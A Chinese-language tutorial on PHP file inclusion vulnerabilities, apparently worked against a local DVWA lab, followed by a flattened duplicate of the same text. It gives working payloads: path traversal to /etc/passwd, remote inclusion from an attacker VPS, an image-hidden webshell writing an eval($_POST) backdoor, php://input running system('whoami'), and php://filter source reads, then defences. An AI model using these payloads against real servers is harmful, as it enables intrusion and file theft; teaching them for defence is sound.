关于文件包含漏洞的一些知识点
字数 1483 2025-08-24 16:48:17

文件包含漏洞全面解析与防御指南

一、文件包含漏洞概述

文件包含漏洞是一种常见的Web安全漏洞,主要存在于使用PHP等服务器端脚本语言的网站中。该漏洞允许攻击者通过未经验证的文件包含操作,读取或执行服务器上的任意文件。

1.1 漏洞原理

通过PHP函数的某些特性(如includerequire等),在动态引入文件时,如果传入的文件名没有经过合理验证,就可能操作预想之外的文件,导致:

  • 敏感文件泄漏
  • 恶意代码注入
  • 远程命令执行
  • 文件上传漏洞

1.2 漏洞类型

  1. 本地文件包含(LFI - Local File Inclusion)

    • 包含服务器本地的文件
    • 常见利用:读取系统敏感文件如/etc/passwd(Linux)或Windows系统文件
  2. 远程文件包含(RFI - Remote File Inclusion)

    • 包含远程服务器上的文件
    • 前提条件:PHP配置中allow_url_fopenallow_url_include选项开启

二、漏洞利用技术详解

2.1 本地文件包含(LFI)利用

基本利用方式

http://127.0.0.1:8011/vulnerabilities/fi/?page=../../../../../1.txt

典型目标文件

  • Linux系统:/etc/passwd
  • Windows系统:C:\Windows\System32\drivers\etc\hosts

2.2 远程文件包含(RFI)利用

利用步骤

  1. 在VPS上放置恶意文件(如1.txt,内容为<?php phpinfo();?>
  2. 在VPS上启动HTTP服务:python2 -m SimpleHTTPServer 8888
  3. 构造Payload:
http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址:8888/1.txt

2.3 文件包含+图片马Getshell

步骤1:制作图片马

copy photo.jpg /b + shell.txt /a shell.jpg

shell.txt内容

<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[pass])?>'); ?>

利用方式

  1. 上传图片马到服务器
  2. 通过文件包含触发:
http://127.0.0.1:8011/vulnerabilities/fi/?page=http://127.0.0.1:8011/hackable/uploads/shell.jpg

指定路径写入
修改shell.txt内容为指定路径:

<?php fputs(fopen('E:\phpstudy_pro\WWW\DVWA-2.2.2\hackable\uploads\shell.php', 'w'), '<?php eval($_POST[pass])?>'); ?>

2.4 PHP伪协议利用

php://input

  • 作用:执行POST请求中的PHP代码
  • 条件allow_url_include必须为on
  • 利用方式
    1. 使用BurpSuite抓包
    2. 修改请求为POST,在请求体中添加PHP代码:
    <?php system('whoami');?>
    
    <?php phpinfo();?>
    

file://

  • 作用:读取本地文件
  • 条件:即使在allow_url_fopenallow_url_include都为off时也可使用
  • 示例
http://127.0.0.1:8011/vulnerabilities/fi/?page=file://d:\1.txt

php://filter

  • 作用:读取文件源码并进行base64编码输出
  • 条件:双off情况下也可使用
  • 基本Payload
php://filter/convert.base64-encode/resource=../../../../../../../1.txt
  • 多次编码Payload(用于绕过某些过滤):
php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../../../../1.txt

三、防御措施

3.1 输入验证与过滤

  • 使用PHP内置安全函数规范路径:
    • realpath():规范化路径
    • basename():获取文件名部分
  • 实施白名单机制,限制可包含的文件范围
  • 对用户输入进行严格的格式验证

3.2 PHP安全配置

  • 禁用危险配置选项:
    • allow_url_include = Off
    • allow_url_fopen = Off

3.3 其他防御措施

  • 设置open_basedir限制PHP可访问的目录范围
  • 保持PHP和Web服务器软件的最新版本
  • 对上传文件进行严格的内容检查
  • 实施最小权限原则,限制Web服务器的文件系统访问权限

四、总结

文件包含漏洞是一种危害严重的Web安全漏洞,攻击者可以利用它读取敏感信息、执行系统命令甚至获取服务器控制权。防御的关键在于:

  1. 严格控制用户输入
  2. 合理配置PHP环境
  3. 实施多层防御策略

通过理解漏洞原理、掌握利用技术并实施有效的防御措施,可以显著提高Web应用的安全性。

文件包含漏洞全面解析与防御指南 一、文件包含漏洞概述 文件包含漏洞是一种常见的Web安全漏洞,主要存在于使用PHP等服务器端脚本语言的网站中。该漏洞允许攻击者通过未经验证的文件包含操作,读取或执行服务器上的任意文件。 1.1 漏洞原理 通过PHP函数的某些特性(如 include 、 require 等),在动态引入文件时,如果传入的文件名没有经过合理验证,就可能操作预想之外的文件,导致: 敏感文件泄漏 恶意代码注入 远程命令执行 文件上传漏洞 1.2 漏洞类型 本地文件包含(LFI - Local File Inclusion) 包含服务器本地的文件 常见利用:读取系统敏感文件如 /etc/passwd (Linux)或Windows系统文件 远程文件包含(RFI - Remote File Inclusion) 包含远程服务器上的文件 前提条件:PHP配置中 allow_url_fopen 和 allow_url_include 选项开启 二、漏洞利用技术详解 2.1 本地文件包含(LFI)利用 基本利用方式 : 典型目标文件 : Linux系统: /etc/passwd Windows系统: C:\Windows\System32\drivers\etc\hosts 2.2 远程文件包含(RFI)利用 利用步骤 : 在VPS上放置恶意文件(如 1.txt ,内容为 <?php phpinfo();?> ) 在VPS上启动HTTP服务: python2 -m SimpleHTTPServer 8888 构造Payload: 2.3 文件包含+图片马Getshell 步骤1:制作图片马 shell.txt内容 : 利用方式 : 上传图片马到服务器 通过文件包含触发: 指定路径写入 : 修改shell.txt内容为指定路径: 2.4 PHP伪协议利用 php://input 作用 :执行POST请求中的PHP代码 条件 : allow_url_include 必须为on 利用方式 : 使用BurpSuite抓包 修改请求为POST,在请求体中添加PHP代码: 或 file:// 作用 :读取本地文件 条件 :即使在 allow_url_fopen 和 allow_url_include 都为off时也可使用 示例 : php://filter 作用 :读取文件源码并进行base64编码输出 条件 :双off情况下也可使用 基本Payload : 多次编码Payload (用于绕过某些过滤): 三、防御措施 3.1 输入验证与过滤 使用PHP内置安全函数规范路径: realpath() :规范化路径 basename() :获取文件名部分 实施白名单机制,限制可包含的文件范围 对用户输入进行严格的格式验证 3.2 PHP安全配置 禁用危险配置选项: allow_url_include = Off allow_url_fopen = Off 3.3 其他防御措施 设置 open_basedir 限制PHP可访问的目录范围 保持PHP和Web服务器软件的最新版本 对上传文件进行严格的内容检查 实施最小权限原则,限制Web服务器的文件系统访问权限 四、总结 文件包含漏洞是一种危害严重的Web安全漏洞,攻击者可以利用它读取敏感信息、执行系统命令甚至获取服务器控制权。防御的关键在于: 严格控制用户输入 合理配置PHP环境 实施多层防御策略 通过理解漏洞原理、掌握利用技术并实施有效的防御措施,可以显著提高Web应用的安全性。